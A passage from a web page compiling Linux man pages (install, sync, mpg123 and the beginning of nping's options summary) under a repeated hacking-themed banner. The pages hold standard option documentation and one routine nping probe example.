Mandatory arguments to long options are mandatory for short options too.

–backup[=CONTROL]
make a backup of each existing destination file

-b
like –backup but does not accept an argument

-c
(ignored)

-C, –compare
compare content of source and destination files, and if no change to content, ownership, and permissions, do not modify the destination at all

-d, –directory
treat all arguments as directory names; create all components of the specified directories

-D
create all leading components of DEST except the last, or all components of –target-directory, then copy SOURCE to DEST

–debug
explain how a file is copied. Implies -v

-g, –group=GROUP
set group ownership, instead of process’ current group

-m, –mode=MODE
set permission mode (as in chmod), instead of rwxr-xr-x

-o, –owner=OWNER
set ownership (super-user only)

-p, –preserve-timestamps
apply access/modification times of SOURCE files to corresponding destination files

-s, –strip
strip symbol tables

–strip-program=PROGRAM
program used to strip binaries

-S, –suffix=SUFFIX
override the usual backup suffix

-t, –target-directory=DIRECTORY
copy all SOURCE arguments into DIRECTORY

-T, –no-target-directory
treat DEST as a normal file

-v, –verbose
print the name of each created file or directory

–preserve-context
preserve SELinux security context

-Z
set SELinux security context of destination file and each created directory to default type

–context[=CTX]
like -Z, or if CTX is specified then set the SELinux or SMACK security context to CTX

–help
display this help and exit

–version
output version information and exit

The backup suffix is ‘~’, unless set with –suffix or SIMPLE_BACKUP_SUFFIX. The version control method may be selected via the –backup option or through the VERSION_CONTROL environment variable. Here are the values:

none, off
never make backups (even if –backup is given)

numbered, t
make numbered backups

existing, nil
numbered if numbered backups exist, simple otherwise

simple, never
always make simple backups

AUTHOR

Written by David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

cp(1)

Full documentation <https://www.gnu.org/software/coreutils/install>
or available locally via: info ‘(coreutils) install invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2084 - Linux cli command sync

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sync and provides detailed information about the command sync, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sync.

NAME 🖥️ sync 🖥️

Synchronize cached writes to persistent storage

SYNOPSIS

sync [OPTION] [FILE]…

DESCRIPTION

Synchronize cached writes to persistent storage

If one or more files are specified, sync only them, or their containing file systems.

-d, –data
sync only file data, no unneeded metadata

-f, –file-system
sync the file systems that contain the files

–help
display this help and exit

–version
output version information and exit

BUGS

Persistence guarantees vary per system. See the system calls below for more details.

AUTHOR

Written by Jim Meyering and Giuseppe Scrivano.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

fdatasync(2), fsync(2), sync(2), syncfs(2)

Full documentation <https://www.gnu.org/software/coreutils/sync>
or available locally via: info ‘(coreutils) sync invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2085 - Linux cli command mp3-decoder

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mp3-decoder and provides detailed information about the command mp3-decoder, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mp3-decoder.

NAME 🖥️ mp3-decoder 🖥️

play audio MPEG 1.0/2.0/2.5 stream (layers 1, 2 and 3)

SYNOPSIS

mpg123 [ options ] file-or-URL

DESCRIPTION

mpg123 reads one or more *file *s (or standard input if ``-’’ is specified) or *URL *s and plays them on the audio device (default) or outputs them to stdout. *file */URL is assumed to be an MPEG audio bit stream.

OPERANDS

The following operands are supported:

file(s)
The path name(s) of one or more input files. They must be valid MPEG-1.0/2.0/2.5 audio layer 1, 2 or 3 bit streams. If a dash ``-’’ is specified, MPEG data will be read from the standard input. Furthermore, any name starting with ``http://’’ or ``https://’’ is recognized as URL (see next section), while a leading ``file://’’ is being stripped for normal local file access, for consistency (since mpg123 1.30.1).

OPTIONS

mpg123 options may be either the traditional POSIX one letter options, or the GNU style long options. POSIX style options start with a single ``-’’, while GNU long options start with ``- -’’. Option arguments (if needed) follow separated by whitespace (not ``=’’). Note that some options can be absent from your installation when disabled in the build process.

INPUT OPTIONS

-k num, - -skip num
Skip first num frames. By default the decoding starts at the first frame.

-n num, - -frames num
Decode only num frames. By default the complete stream is decoded.

–fuzzy
Enable fuzzy seeks (guessing byte offsets or using approximate seek points from Xing TOC). Without that, seeks need a first scan through the file before they can jump at positions. You can decide here: sample-accurate operation with gapless features or faster (fuzzy) seeking.

-y, - -no-resync
Do NOT try to resync and continue decoding if an error occurs in the input file. Normally, mpg123 tries to keep the playback alive at all costs, including skipping invalid material and searching new header when something goes wrong. With this switch you can make it bail out on data errors (and perhaps spare your ears a bad time). Note that this switch has been renamed from –resync. The old name still works, but is not advertised or recommended to use (subject to removal in future).

-F, - -no-frankenstein
Disable support for Frankenstein streams. Normally, mpg123 stays true to the concept of MPEG audio being just a concatenation of MPEG frames. It will continue decoding even if the type of MPEG frames varies wildly. With this switch, it will only decode the input as long as it does not change its character (from layer I to layer III, changing sampling rate, from mono to stereo), silently assuming end of stream on such occasion. The switch also stops decoding of compatible MPEG frames if there was an Info frame (Xing header, Lame tag) that contained a length of the track in MPEG frames. This comes a bit closer to the notion of a MP3 file as a defined collection of MPEG frames that belong together, but gets rid of the flexibility that can be fun at times but mostly is hell for the programmer of the parser and decoder …

- -network backend
Select network backend (helper program), choices are usually auto, wget, and curl. Auto means to try the first available backend.

- -resync-limit bytes
Set number of bytes to search for valid MPEG data once lost in stream; <0 means search whole stream. If you know there are huge chunks of invalid data in your files… here is your hammer. Note: Only since version 1.14 this also increases the amount of junk skipped on beginning.

-u auth, - -auth auth
HTTP authentication to use when receiving files via HTTP. The format used is user:password. Mpg123 will clear this quickly, but it may still appear in sight of other users or even just in your shell history. You may seek alternative ways to specify that to your network backend.

- -auth-file authfile
Provide the authentication info via given file instead of command line directly.

- -ignore-mime
Ignore MIME types given by HTTP server. If you know better and want mpg123 to decode something the server thinks is image/png, then just do it.

- -no-icy-meta
Do not accept ICY meta data.

- -streamdump filename
Dump a copy of the input data (as read by libmpg123) to the given file. This enables you to store a web stream to disk while playing, or just create a concatenation of the local files you play for … why not?

- -icy-interval bytes
This setting enables you to play a stream dump containing ICY metadata at the given interval in bytes (the value of the icy-metaint HTTP response header). Without it, such a stream will play, but will cause regular decoding glitches with resync.

- -no-seekbuffer
Disable the default micro-buffering of non-seekable streams that gives the parser a safer footing.

-@ file, - -list file
Read filenames and/or URLs of MPEG audio streams from the specified file in addition to the ones specified on the command line (if any). Note that file can be either an ordinary file, a dash ``-’’ to indicate that a list of filenames/URLs is to be read from the standard input, or an URL pointing to a an appropriate list file. Note: only one -@ option can be used (if more than one is specified, only the last one will be recognized). Furthermore, for HTTP resources, the MIME type information will be used to re-open an actual MPEG stream as such instead of treating it as playlist file. So you could just always use -@ for web resources without bothering if it is a playlist or already the resolved stream address.

-l n, - -listentry n
Of the playlist, play specified entry only. n is the number of entry starting at 1. A value of 0 is the default and means playing the whole list, a negative value means showing of the list of titles with their numbers…

- -continue
Enable playlist continuation mode. This changes frame skipping to apply only to the first track and also continues to play following tracks in playlist after the selected one. Also, the option to play a number of frames only applies to the whole playlist. Basically, this tries to treat the playlist more like one big stream (like, an audio book). The current track number in list (1-based) and frame number (0-based) are printed at exit (useful if you interrupted playback and want to continue later). Note that the continuation info is printed to standard output unless the switch for piping audio data to standard out is used. Also, it really makes sense to work with actual playlist files instead of lists of file names as arguments, to keep track positions consistent.

–loop times
for looping track(s) a certain number of times, < 0 means infinite loop (not with –random!).

–keep-open
For remote control mode: Keep loaded file open after reaching end.

–timeout seconds
Timeout in (integer) seconds before declaring a stream dead (if <= 0, wait forever).

-z, - -shuffle
Shuffle play. Randomly shuffles the order of files specified on the command line, or in the list file.

-Z, –random
Continuous random play. Keeps picking a random file from the command line or the play list. Unlike shuffle play above, random play never ends, and plays individual songs more than once.

-i, - -index
Index / scan through the track before playback. This fills the index table for seeking (if enabled in libmpg123) and may make the operating system cache the file contents for smoother operating on playback.

–index-size size
Set the number of entries in the seek frame index table.

–preframes num
Set the number of frames to be read as lead-in before a seeked-to position. This serves to fill the layer 3 bit reservoir, which is needed to faithfully reproduce a certain sample at a certain position. Note that for layer 3, a minimum of 1 is enforced (because of frame overlap), and for layer 1 and 2, this is limited to 2 (no bit reservoir in that case, but engine spin-up anyway).

OUTPUT and PROCESSING OPTIONS

-o module, - -output module
Select audio output module. You can provide a comma-separated list to use the first one that works. Also see -a.

- -list-modules
List the available modules.

- -list-devices
List the available output devices for given output module. If there is no functionality to list devices in the chosen module, an error will be printed and mpg123 will exit with a non-zero code.

-a dev, - -audiodevice dev
Specify the audio device to use. The default as well as the possible values depend on the active output. For the JACK output, a comma-separated list of ports to connect to (for each channel) can be specified.

-s, - -stdout
The decoded audio samples are written to standard output, instead of playing them through the audio device. This option must be used if your audio hardware is not supported by mpg123. The output format per default is raw (headerless) linear PCM audio data, 16 bit, stereo, host byte order (you can force mono or 8bit).

-O file, - -outfile
Write raw output into a file (instead of simply redirecting standard output to a file with the shell).

-w file, - -wav
Write output as WAV file. This will cause the MPEG stream to be decoded and saved as file file , or standard output if - is used as file name. You can also use –au and –cdr for AU and CDR format, respectively. Note that WAV/AU writing to non-seekable files, or redirected stdout, needs some thought. Since 1.16.0, the logic changed to writing the header with the first actual data. This avoids spurious WAV headers in a pipe, for example. The result of decoding nothing to WAV/AU is a file consisting just of the header when it is seekable and really nothing when not (not even a header). Correctly writing data with prophetic headers to stdout is no easy business.

- -au file
Does not play the MPEG file but writes it to file in SUN audio format. If - is used as the filename, the AU file is written to stdout. See paragraph about WAV writing for header fun with non-seekable streams.

- -cdr file
Does not play the MPEG file but writes it to file as a CDR file. If - is used as the filename, the CDR file is written to stdout.

–reopen
Forces reopen of the audiodevice after ever song

–cpu decoder-type
Selects a certain decoder (optimized for specific CPU), for example i586 or MMX. The list of available decoders can vary; depending on the build and what your CPU supports. This option is only available when the build actually includes several optimized decoders.

–test-cpu
Tests your CPU and prints a list of possible choices for –cpu.

–list-cpu
Lists all available decoder choices, regardless of support by your CPU.

-g gain, - -gain gain
[DEPRECATED] Set audio hardware output gain (default: don’t change). The unit of the gain value is hardware and output module dependent. (This parameter is only provided for backwards compatibility and may be removed in the future without prior notice. Use the audio player for playing and a mixer app for mixing, UNIX style!)

-f factor, - -scale factor
Change scale factor (default: 32768).

–rva-mix, –rva-radio
Enable RVA (relative volume adjustment) using the values stored for ReplayGain radio mode / mix mode with all tracks roughly equal loudness. The first valid information found in ID3V2 Tags (Comment named RVA or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

–rva-album, –rva-audiophile
Enable RVA (relative volume adjustment) using the values stored for ReplayGain audiophile mode / album mode with usually the effect of adjusting album loudness but keeping relative loudness inside album. The first valid information found in ID3V2 Tags (Comment named RVA_ALBUM or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

-0, - -single0; -1, - -single1
Decode only channel 0 (left) or channel 1 (right), respectively. These options are available for stereo MPEG streams only.

-m, - -mono, - -mix, - -singlemix
Mix both channels / decode mono. It takes less CPU time than full stereo decoding.

–stereo
Force stereo output

-r rate, - -rate rate
Set sample rate (default: automatic). You may want to change this if you need a constant bitrate independent of the mpeg stream rate. mpg123 automagically converts the rate. You should then combine this with –stereo or –mono.

- -resample method
Set resampling method to employ if forcing an output rate. Choices (case-insensitive) are NtoM, dirty, and fine. The fine resampler is the default. It employs libsyn123’s low-latency fairly efficient resampler to postprocess the output from libmpg123 instead of the fast but very crude NtoM decoder (drop sample method) that mpg123 offers since decades. If you are really low on CPU time, choose NtoM, as the resampler usually needs more time than the MPEG decoder itself. The mpg123 program is smart enough to combine the 2to1 or 4to1 downsampling modes with the postprocessing for extreme downsampling.

-2, - -2to1; -4, - -4to1
Performs a downsampling of ratio 2:1 (22 kHz from 44.1 kHz) or 4:1 (11 kHz) on the output stream, respectively. Saves some CPU cycles, but of course throws away the high frequencies, as the decoder does not bother producing them.

–pitch value
Set a pitch change (speedup/down, 0 is neutral; 0.05 is 5% speedup). When not enforcing an output rate, this changes the output sampling rate, so it only works in the range your audio system/hardware supports. When you combine this with a fixed output rate, it modifies a software resampling ratio instead.

–8bit
Forces 8bit output

- -float
Forces f32 encoding

-e enc, - -encoding enc
Choose output sample encoding. Possible values look like f32 (32-bit floating point), s32 (32-bit signed integer), u32 (32-bit unsigned integer) and the variants with different numbers of bits (s24, u24, s16, u16, s8, u8) and also special variants like ulaw and alaw 8-bit. See the output of mpg123’s longhelp for actually available encodings.

-d n, - -doublespeed n
Only play every n’th frame. This will cause the MPEG stream to be played n times faster, which can be used for special effects. Can also be combined with the - -halfspeed option to play 3 out of 4 frames etc. Don’t expect great sound quality when using this option.

-h n, - -halfspeed n
Play each frame n times. This will cause the MPEG stream to be played at 1/n’th speed (n times slower), which can be used for special effects. Can also be combined with the - -doublespeed option to double every third frame or things like that. Don’t expect great sound quality when using this option.

-E file, - -equalizer
Enables equalization, taken from file. The file needs to contain 32 lines of data, additional comment lines may be prefixed with #. Each data line consists of two floating-point entries, separated by whitespace. They specify the multipliers for left and right channel of a certain frequency band, respectively. The first line corresponds to the lowest, the 32nd to the highest frequency band. Note that you can control the equalizer interactively with the generic control interface. Also note that these are the 32 bands of the MPEG codec, not spaced like you would see for a usual graphic equalizer. The upside is that there is zero computational cost in addition to decoding. The downside is that you roughly have bass in band 0, (upper) mids in band 1, treble in all others.

- -gapless
Enable code that cuts (junk) samples at beginning and end of tracks, enabling gapless transitions between MPEG files when encoder padding and codec delays would prevent it. This is enabled per default beginning with mpg123 version 1.0.0 .

- -no-gapless
Disable the gapless code. That gives you MP3 decodings that include encoder delay and padding plus mpg123’s decoder delay.

- -no-infoframe
Do not parse the Xing/Lame/VBR/Info frame, decode it instead just like a stupid old MP3 hardware player. This implies disabling of gapless playback as the necessary information is in said metadata frame.

-D n, –delay n
Insert a delay of n seconds before each track.

-o h, - -headphones
Direct audio output to the headphone connector (some hardware only; AIX, HP, SUN).

-o s, - -speaker
Direct audio output to the speaker (some hardware only; AIX, HP, SUN).

-o l, - -lineout
Direct audio output to the line-out connector (some hardware only; AIX, HP, SUN).

-b size, - -buffer size
Use an audio output buffer of size Kbytes. This is useful to bypass short periods of heavy system activity, which would normally cause the audio output to be interrupted. You should specify a buffer size of at least 1024 (i.e. 1 Mb, which equals about 6 seconds of audio data) or more; less than about 300 does not make much sense. The default is 0, which turns buffering off.

- -preload fraction
Wait for the buffer to be filled to fraction before starting playback (fraction between 0 and 1). You can tune this prebuffering to either get faster sound to your ears or safer uninterrupted web radio. Default is 0.2 (wait for 20 % of buffer to be full, changed from 1 in version 1.23).

- -devbuffer seconds
Set device buffer in seconds; <= 0 means default value. This is the small buffer between the application and the audio backend, possibly directly related to hardware buffers.

- -smooth
Keep buffer over track boundaries – meaning, do not empty the buffer between tracks for possibly some added smoothness.

MISC OPTIONS

-t, - -test
Test mode. The audio stream is decoded, but no output occurs.

-c, - -check
Check for filter range violations (clipping), and report them for each frame if any occur.

-v, - -verbose
Increase the verbosity level. For example, displays the frame numbers during decoding.

-q, - -quiet
Quiet. Suppress diagnostic messages.

-C, - -control
Enable terminal control keys. This is enabled automatically if a terminal is detected. By default use ’s’ or the space bar to stop/restart (pause, unpause) playback, ‘f’ to jump forward to the next song, ‘b’ to jump back to the beginning of the song, ‘,’ to rewind, ‘.’ to fast forward, and ‘q’ to quit. Type ‘h’ for a full list of available controls. The A-B loop feature with key ‘o’ changes the preset loop interval to the interval between two presses of ‘o’, the third press (or ‘p’) ending the looped playback. The key ‘p’ will use the updated loop interval after that.

- -no-control
Disable terminal control even if terminal is detected.

- -title
In an xterm, rxvt, screen, iris-ansi (compatible, TERM environment variable is examined), change the window’s title to the name of song currently playing.

- -pauseloop seconds
Set the length of the loop interval in terminal control fixed looping mode, away from the default of 0.5 seconds, as a floating point number. This value can be overwritten at runtime using the A-B loop feature.

- -name name
Set the name of this instance, possibly used in various places. This sets the client name for JACK output.

- -long-tag
Display ID3 tag info always in long format with one line per item (artist, title, …)

–utf8
Regardless of environment, print metadata in UTF-8 (otherwise, when not using UTF-8 locale, you’ll get ASCII stripdown).

-R, - -remote
Activate generic control interface. mpg123 will then read and execute commands from stdin. Basic usage is ``load <filename> ’’ to play some file and the obvious ``pause’’, ``command. ``jump <frame>’’ will jump/seek to a given point (MPEG frame number). Issue ``help’’ to get a full list of commands and syntax.

- -remote-err
Print responses for generic control mode to standard error, not standard out. This is automatically triggered when using -s.

–fifo path
Create a fifo / named pipe on the given path and use that for reading commands instead of standard input.

- -aggressive
Tries to get higher priority

-T, –realtime
Tries to gain realtime priority. This option usually requires root privileges to have any effect.

-?, - -help
Shows short usage instructions.

- -longhelp
Shows long usage instructions.

- -version
Print the version string.

- -libversion
Print version information on the mpg123 libraries being used (libmpg123, libout123, libsyn123).

HTTP SUPPORT

In addition to reading MPEG audio streams from ordinary files and from the standard input, mpg123 supports retrieval of MPEG audio streams or playlists via the HTTP protocol, which is used in the World Wide Web (WWW). Such files are specified using a so-called URL, which starts with http:// or https://. When a file with that prefix is encountered, mpg123 since 1.30.0 will by default call an external helper program (either wget(1) or curl(1), see the - -network option) to retrieve the resource. You can configure access via a proxy server using the standard environment variables those programs support. The - -proxy option that mpg123 before 1.30.0 used for its internal network code is gone in the default build now and will probably disappear for good with 1.31.1.

Note that, in order to play MPEG audio files from a WWW server, it is necessary that the connection to that server is fast enough. For example, a 128 kbit/s MPEG file requires the network connection to be at least 128 kbit/s (16 kbyte/s) plus protocol overhead. If you suffer from short network outages, you should try the -b option (buffer) to bypass such outages. If your network connection is generally not fast enough to retrieve MPEG audio files in realtime, you can first download the files to your local harddisk (e.g. using wget(1)) and then play them from there.

Streams with embedded ICY metadata are supported, the interval being communicated via HTTP headers or - -icy-interval.

INTERRUPT

When in terminal control mode, you can quit via pressing the q key, while any time you can abort mpg123 by pressing Ctrl-C. If not in terminal control mode, this will skip to the next file (if any). If you want to abort playing immediately in that case, press Ctrl-C twice in short succession (within about one second).

Note that the result of quitting mpg123 pressing Ctrl-C might not be audible immediately, due to audio data buffering in the audio device. This delay is system dependent, but it is usually not more than one or two seconds.

PLAYBACK STATUS LINE

In verbose mode, mpg123 updates a line with various information centering around the current playback position. On any decent terminal, the line also works as a progress bar in the current file by reversing video for a fraction of the line according to the current position. An example for a full line is this:

> 0291+0955 00:01.68+00:28.22 [00:05.30] mix 100=085 192 kb/s 576 B acc 18 clip p+0.014

The information consists of, in order:

>
single-character playback state (``>’’ for playing, ``=’’ for pausing/looping, ``_’’ for stopped)

0291+0955
current frame offset and number of remaining frames after the plus sign

00:01.68+00:28.22
current position from and remaining time in human terms (hours, minutes, seconds)

[00:05.30]
fill of the output buffer in terms of playback time, if the buffer is enabled

mix
selected RVA mode (possible values: mix, alb (album), and - - - (neutral, off))

100=085
set volume and the RVA-modified effective volume after the equal sign

192 kb/s
current bitrate

576 B
size of current frame in bytes

acc
if positions are accurate, possible values are ``acc’’ for accurate positions or ``fuz’’ for fuzzy (with guessed byte offsets using mean frame size)

18 clip
amount of clipped samples, non-zero only if decoder reports that (generic does, some optimized ones not)

p+0.014
pitch change (increased/decreased playback sampling rate on user request)

NOTES

MPEG audio decoding requires a good deal of CPU performance, especially layer-3. To decode it in realtime, you should have at least an i486DX4, Pentium, Alpha, SuperSparc or equivalent processor. You can also use the -m option to decode mono only, which reduces the CPU load somewhat for layer-3 streams. See also the -2 and -4 options.

If everything else fails, have mpg123 decode to a file and then use an appropriate utility to play that file with less CPU load. Most probably you can configure mpg123 to produce a format suitable for your audio device (see above about encodings and sampling rates).

If your system is generally fast enough to decode in realtime, but there are sometimes periods of heavy system load (such as cronjobs, users logging in remotely, starting of ``big’’ programs etc.) causing the audio output to be interrupted, then you should use the -b option to use a buffer of reasonable size (at least 1000 Kbytes).

EXIT CODE

Up to version 1.25.x, mpg123 always returned exit code 0 also for complete junk on the input side. Fatal errors were only considered for output. With version 1.26.0, this changed to the behaviour described below.

When not using the remote control interface (which returns input errors as text messages), the process exit code is zero (success) only if all tracks in a playlist had at least one frame parsed, even if it did not decode cleanly, or are empty, MPEG-wise (perhaps only metadata, or really an empty file). When you decode nothing, nothing is the result and that is fine. When a track later aborts because of parser errors or breakdown of the network communication, this is treated as end of a track, but does not make the process as such fail. One really bad (or non-existing) stream in the playlist results in a non-zero error code, consistent with other UNIX tools.

An error in audio output results in the process ending with a non-zero exit code immediately, regardless of how much data has been successfully played before. The forgiveness is only on the input side.

BUGS

Mostly MPEG-1 layer 2 and 3 are tested in real life. Please report any issues and provide test files to help fixing them.

No CRC error checking is performed. But the decoder is built and tested to behave nicely with damaged streams. Mostly, damaged frames will just be silent.

Some platforms lack audio hardware support; you may be able to use the -s switch to feed the decoded data to a program that can play it on your audio device.

AUTHORS

Maintainer:

Thomas Orgis <[email protected]>, <[email protected]>

Original Creator:

Michael Hipp

Uses code or ideas from various people, see the AUTHORS file accompanying the source code.

LICENSE

mpg123 is licensed under the GNU Lesser/Library General Public License, LGPL, version 2.1 .

WEBSITE

http://www.mpg123.org
http://sourceforge.net/projects/mpg123

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2086 - Linux cli command nping

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nping and provides detailed information about the command nping, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nping.

NAME 🖥️ nping 🖥️

Network packet generation tool / ping utility

SYNOPSIS

nping [Options] {targets}

DESCRIPTION

Nping is an open-source tool for network packet generation, response analysis and response time measurement. Nping allows users to generate network packets of a wide range of protocols, letting them tune virtually any field of the protocol headers. While Nping can be used as a simple ping utility to detect active hosts, it can also be used as a raw packet generator for network stack stress tests, ARP poisoning, Denial of Service attacks, route tracing, and other purposes.

Additionally, Nping offers a special mode of operation called the “Echo Mode”, that lets users see how the generated probes change in transit, revealing the differences between the transmitted packets and the packets received at the other end. See section “Echo Mode” for details.

The output from Nping is a list of the packets that are being sent and received. The level of detail depends on the options used.

A typical Nping execution is shown in Example 1. The only Nping arguments used in this example are -c, to specify the number of times to target each host, –tcp to specify TCP Probe Mode, -p 80,433 to specify the target ports; and then the two target hostnames.

Example 1. A representative Nping execution

nping -c 1 –tcp -p 80,433 scanme.nmap.org google.com

Starting Nping ( https://nmap.org/nping )
SENT (0.0120s) TCP 96.16.226.135:50091 > 64.13.134.52:80 S ttl=64 id=52072 iplen=40  seq=1077657388 win=1480 
RCVD (0.1810s) TCP 64.13.134.52:80 > 96.16.226.135:50091 SA ttl=53 id=0 iplen=44  seq=4158134847 win=5840 <mss 1460>
SENT (1.0140s) TCP 96.16.226.135:50091 > 74.125.45.100:80 S ttl=64 id=13932 iplen=40  seq=1077657388 win=1480 
RCVD (1.1370s) TCP 74.125.45.100:80 > 96.16.226.135:50091 SA ttl=52 id=52913 iplen=44  seq=2650443864 win=5720 <mss 1430>
SENT (2.0140s) TCP 96.16.226.135:50091 > 64.13.134.52:433 S ttl=64 id=8373 iplen=40  seq=1077657388 win=1480 
SENT (3.0140s) TCP 96.16.226.135:50091 > 74.125.45.100:433 S ttl=64 id=23624 iplen=40  seq=1077657388 win=1480 

Statistics for host scanme.nmap.org (64.13.134.52):
 |  Probes Sent: 2 | Rcvd: 1 | Lost: 1  (50.00%)
 |_ Max rtt: 169.720ms | Min rtt: 169.720ms | Avg rtt: 169.720ms
Statistics for host google.com (74.125.45.100):
 |  Probes Sent: 2 | Rcvd: 1 | Lost: 1  (50.00%)
 |_ Max rtt: 122.686ms | Min rtt: 122.686ms | Avg rtt: 122.686ms
Raw packets sent: 4 (160B) | Rcvd: 2 (92B) | Lost: 2 (50.00%)
Tx time: 3.00296s | Tx bytes/s: 53.28 | Tx pkts/s: 1.33
Rx time: 3.00296s | Rx bytes/s: 30.64 | Rx pkts/s: 0.67
Nping done: 2 IP addresses pinged in 4.01 seconds

The newest version of Nping can be obtained with Nmap at https://nmap.org. The newest version of this man page is available at https://nmap.org/book/nping-man.html.

–> .SH “OPTIONS SUMMARY”

This options summary is printed when Nping is run with no arguments. It helps people remember the most common options, but is no substitute for the in-depth documentation in the rest of this manual. Some obscure options arent even included here.

Nping 0.7.92SVN ( https://nmap.org/nping ) Usage: nping [Probe mode] [Options] {target specification}

TARGET SPECIFICATION:
  Targets may be specified as hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.*.1-24
PROBE MODES:
  --tcp-connect                    : Unprivileged TCP connect probe mode.
  --tcp                            : TCP probe mode.
  --udp                            : UDP probe mode.
  --icmp                           : ICMP probe mode.
  --arp                            : ARP/RARP probe mode.
  --tr, --traceroute               : Traceroute mode (can only be used with 
                                     TCP/UDP/ICMP modes).
TCP CONNECT MODE:
   -p, --dest-port <port spec>     : Set destination port(s).
   -g, --source-port <portnumber>  : Try to use a custom source port.
TCP PROBE MODE:
   -g, --source-port <portnumber>  : Set source port.
   -p, --dest-port <port spec>     : Set destination port(s).
   --seq <seqnumber>               : Set sequence number.
   --flags <flag list>             : Set TCP flags (ACK,PSH,RST,SYN,FIN...)
   --ack <acknumber>               : Set ACK number.
   --win <size>                    : Set window size.
   --badsum                        : Use a random invalid checksum. 
UDP PROBE MODE:
   -g, --source-port <portnumber>  : Set source port.
   -p, --dest-port <port spec>     : Set destination port(s).
   --badsum                        : Use a random invalid checksum. 
ICMP PROBE MODE:
  --icmp-type <type>               : ICMP type.
  --icmp-code <code>               : ICMP code.
  --icmp-id <id>                   : Set identifier.
  --icmp-seq <n>                   : Set sequence number.
  --icmp-redirect-addr <addr>      : Set redirect address.
  --icmp-param-pointer <pnt>       : Set parameter problem pointer.
  --icmp-advert-lifetime <time>    : Set router advertisement lifetime.
  --icmp-advert-entry <IP,pref>    : Add router advertisement entry.
  --icmp-orig-time  <timestamp>    : Set originate timestamp.
  --icmp-recv-time  <timestamp>    : Set receive timestamp.
  --icmp-trans-time <timestamp>    : Set transmit timestamp.
ARP/RARP PROBE MODE:
  --arp-type <type>                : Type: ARP, ARP-reply, RARP, RARP-reply.
  --arp-sender-mac <mac>           : Set sender MAC address.
  --arp-sender-ip  <addr>          : Set sender IP address.
  --arp-target-mac <mac>           : Set target MAC address.
  --arp-target-ip  <addr>          : Set target IP address.
IPv4 OPTIONS:
